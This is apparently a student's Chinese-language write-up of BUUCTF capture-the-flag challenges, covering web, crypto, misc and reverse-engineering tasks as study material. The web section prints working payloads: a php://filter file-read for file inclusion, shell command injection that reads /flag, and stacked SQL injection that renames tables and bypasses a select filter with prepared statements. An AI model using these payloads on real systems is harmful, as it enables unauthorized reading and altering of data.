BUUCTF-堆叠注入-文件包含

第五周学习-3.28

目录

Web

[ACTF2020 新生赛]Include

[ACTF2020 新生赛]Exec

[强网杯 2019]随便注

1.改名

2.预编译

Crypto

Url编码

看我回旋踢

Misc

你竟然赶我走

 大白

Reverse

reverse2

内涵的软件


Web

[ACTF2020 新生赛]Include

提示我们是include 文件包含

BUUCTF-堆叠注入-文件包含_第1张图片

打开环境点击

BUUCTF-堆叠注入-文件包含_第2张图片

 我们include 尝试直接访问根目录 失败

?file 是get形式

使用伪协议

?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解密

BUUCTF-堆叠注入-文件包含_第3张图片

文件包含支持的伪协议_data伪协议_三月樱的博客-CSDN博客

[ACTF2020 新生赛]Exec

这题很简单就直接

127.0.0.1;ls
127.0.0.1;ls / 发现flag文件
127.0.0.1;cat /flag

BUUCTF-堆叠注入-文件包含_第4张图片

[强网杯 2019]随便注

这道题已经困惑我很久了 一直遇到就退出 今天认真写一下

BUUCTF-堆叠注入-文件包含_第5张图片

 GET

开始判断注入类型

 字符 我们先构造万能密码

我们猜测语句像这样

select * from x=''1'''

所以我们构造

select * from x=''1' or '1'='1''
1' or '1'='1

BUUCTF-堆叠注入-文件包含_第6张图片

我们开始猜字段

1' order by 3#
1' order by 3--+ 
都可以

BUUCTF-堆叠注入-文件包含_第7张图片

 2个字段

我们开始注入

 发现过滤

这就是今天学习到的 如果 select 过滤了 可以使用 堆叠注入

数据库

0'; show databases;#

BUUCTF-堆叠注入-文件包含_第8张图片

 查看表

0'; show tables;#

BUUCTF-堆叠注入-文件包含_第9张图片

 一个一个访问 这里又有一个注意的地方

表名为数字时,要用反引号包起来查询。

0';show columns from `1919810931114514`#

BUUCTF-堆叠注入-文件包含_第10张图片

找到flag 但是无法查看 

我们接着查看另一个表

0';show columns from words#

BUUCTF-堆叠注入-文件包含_第11张图片

发现里面有id 和data 两个字段

1.改名

words里面有id和data两个字段

BUUCTF-堆叠注入-文件包含_第12张图片

 而在最开始的时候 输入1 返回的就是id 和data

所以我们进行改名

使用rename 将words改为其他的 然后把1919810931114514改为words 
然后在1919810931114514的表中加上 id这个列 把flag改为data
0';alter table words rename  to words1;alter table `1919810931114514` rename
to words;alter table words change flag id varchar(50);#

0';
alter table words rename to words1;   把words改为words1
alter table `1919810931114514` rename to words; 把1919810931114514改为words
alter tables words change flag id varchar(50);#
把flag改为id 然后改变为char类型 输出

然后使用万能密码输出

1' or 1=1#

BUUCTF-堆叠注入-文件包含_第13张图片

 学会了过滤select后怎么办 还有改文件名的操作

2.预编译

题目过滤了select 我们使用预编译

我们想要执行

select * from `1919810931114514`;

预编译语法

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
-1;set @sql = concat('sel','ect * from`1919810931114514`;');prepare a from @sql;EXECUTE a;#


-1';
set @sql=concat('sel','ect * from `1919810931114514`;');
set设置@sql变量 和变量的值
prepare a from @sql;
将@sql 赋值给 a
execute a;#
执行a 

BUUCTF-堆叠注入-文件包含_第14张图片

发先过滤了set和prepare 我们进行大小写即可

-1';Set @sql = concat('sel','ect * from`1919810931114514`;');Prepare a from @sql;EXECUTE a;#

BUUCTF-堆叠注入-文件包含_第15张图片

 得到flag

Crypto

Url编码

BUUCTF-堆叠注入-文件包含_第16张图片

 直接解码即可

看我回旋踢

下载后打开文件 发现是flag格式

想到凯撒密码

对照ascii发现偏移量为13

synt{5pq1004q-86n5-46q8-o720-oro5on0417r1}

BUUCTF-堆叠注入-文件包含_第17张图片

Misc

你竟然赶我走

 下载文件

CTF-Misc基础知识之图片及各种工具_ctf图片修复_Ke1R的博客-CSDN博客

打开Stegsolve.jar

放入图片

BUUCTF-堆叠注入-文件包含_第18张图片

 选择这个 点击得到flag

BUUCTF-堆叠注入-文件包含_第19张图片

 大白

下载文件 kali打开报错

BUUCTF-堆叠注入-文件包含_第20张图片

是修改高度的错误

我们打开010

并且打开图片属性 查看分辨率为679x256

679为2A7

我们把高度修改为2A7即可

BUUCTF-堆叠注入-文件包含_第21张图片

 BUUCTF-堆叠注入-文件包含_第22张图片

 flag出现

Reverse

reverse2

放入ida64

F5反编译

BUUCTF-堆叠注入-文件包含_第23张图片

 和之前的差不多 变判断flag的内容

flag双击进去内容为

hacking_for_fun}

所以我们套上壳

flag{hacking_for_fun}

进行选择flag然后看看哪里更改了flag

BUUCTF-堆叠注入-文件包含_第24张图片

 在这里发现了更改 我已经编译过了

只要选中数字 按r就可以改为这个 我们发现他把i和r都改为1

我们也更改即可

flag{hack1ng_fo1_fun}

内涵的软件

下载放入ida32 F5反编译

BUUCTF-堆叠注入-文件包含_第25张图片

点击进入函数

BUUCTF-堆叠注入-文件包含_第26张图片

 得到flag

更改为flag格式即可

你可能感兴趣的:(BUUctf,学习)